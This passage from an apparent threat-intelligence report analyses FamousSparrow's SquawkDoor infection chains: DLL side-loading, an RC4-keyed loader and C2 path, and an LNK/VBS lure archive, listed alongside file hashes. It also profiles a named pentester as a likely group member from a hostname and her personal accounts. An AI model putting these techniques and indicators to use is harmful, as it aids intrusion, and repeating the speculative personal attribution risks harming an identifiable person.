- svctop.exl (SHA-256: c2570d398b4cae11ae87269e8b9c3a4f53d3860974be04471fa092a96ecebc1d): the payload, implemented as a loader
When the legitimate EXE was launched, it loaded MSVCR110.dll. This DLL overrode the same functions as SquawkDoor (__crtSetUnhandledExceptionFilter () and _except_handler4_common) and did so in a similar way: it allocated memory, loaded the payload file, decrypted it with RC4, and then transferred execution to the payload.
The launched loader sends a POST request to /wp-statics/test.php? p1=2026, receives the payload, decrypts it with RC4, and executes it. The key used to retrieve the payload is gfj#56^%vfdli. By the time of our investigation, the payload was no longer available. The p1=2026 value in the request is hardcoded, even though the attack took place in 2024.
In addition to the HTML-based vector, we found another vector that used an archive containing LNK files. The archive was named Tender.rar (SHA-256: d5135980017905588e72f7030410c5903071f803cd4d4060eb51fc28b38b5ba1).

The archive contains three legitimate PDF files, an LNK file, a VBS script, and a CAB file named test.doc. At first, the victim sees only two PDFs and the LNK file, which also masquerades as a PDF document. As in the other cases, its IconLocation is .\1.pdf. When opened, the LNK runs .\$RECYCLE.BIN\aa.vbs, which starts the next script.

The script moves the CAB file, extracts it, and runs the .exe; replaces the LNK with a legitimate PDF and opens it; and then removes all malicious files. The PDFs appear to target Egypt. The archive also contained what was likely the initial lure document, Purchase_Form_for_Tender_Dossier.pdf, which included a link to the same archive: https://www.cloudf-update[.]com/files/Tender.rar.

The CAB file and its contents were similar to those used in the ClickFix attack described above.
Group member
The LNK file Strategi_AS_Referensi_April2026.docx.lnk (SHA-256: 4c7ae604ad1af90ea155865cb28fd7ccd6371f5ac172de6014b328514d4618e7) contains the computer name desktop-k196dpf. This is typically the name of the computer on which the file was created.

This name had not appeared anywhere before, except in a Chinese blog where the pentester imawuya describes a walkthrough of the Chemistry machine on Hack The Box, a pentesting training platform.


In this case, the hostname desktop-k196dpf, which the pentester used for the walkthrough, appeared in several places in the terminal.
We were able to discover additional accounts, including accounts on X, bilibili, and Instagram.* Based on these accounts, it is possible to infer that this is a young woman from China who identifies herself as 东北人 ("Northeasterner," that is, a person from Northeast China). The X account itself is shown as being from Hong Kong, but this is normal practice, as Hong Kong is practically the only place in China where X is accessible without restrictions, and it is used as a VPN location for access.
The X account is highly niche and appears to be more of a personal blog, where she writes about personal challenges and shares her thoughts.
* Instagram is a product of Meta, has been designated an extremist organization and banned in Russia under Russian law.

For example, imawuya once wrote about gaining unauthorized access to a local dating app. Judging by the conversation, she may have had access to the application's database.

The Chemistry walkthrough was published in December 2024. It is highly unlikely that, within a year and a half, the same hostname would appear on the machine of an unrelated person in East Asia who is also involved in cybersecurity. Given imawuya's pentesting experience and her previous unauthorized activity, we assess with high confidence that the malicious LNK targeting Indonesia was tested and created on imawuya's computer. However, given the complexity of the other infection chains and the use of a unique backdoor, imawuya is likely a member of the group but not a key operator.
In addition to artifacts in the delivered LNK files, we also found that some SquawkDoor versions (this fragment was missing from some samples) contained an interesting artifact after decrypting the payload file contents. Between the shellcode, which reflectively loads the backdoor, and the backdoor itself, whose MZ and PE signatures had been wiped, we found values of environment variables.
Figure 52. Decrypted contents of the payload file
The purpose of this placement is unclear: the values are used neither during the loading process nor by the backdoor itself. However, this data shows that HY-17388 was used as the domain associated with the user profile.
Malware family evolution
The figure shows the toolkit's development timeline and the order in which its versions appeared.

Conclusions
FamousSparrow has significantly enhanced the SparrowDoor backdoor by reworking its architecture and combining the most effective mechanisms from earlier versions. Together with additional activity-hiding mechanisms, these changes have made the malware more functional, flexible, and dangerous, giving the attackers extensive control over compromised systems.
The use of hardcoded language parameters in the JS payload and SquawkDoor, as well as the compromise of only individual websites, suggests that these attacks were not conducted at scale. However, both the backdoor and the overall infection chain are designed to support scaling and convenient logging, which could enable broader campaigns if needed.
The threat group also repeated the same OPSEC mistake twice, exposing the hostname both in the LNK file metadata and in the decrypted payload.





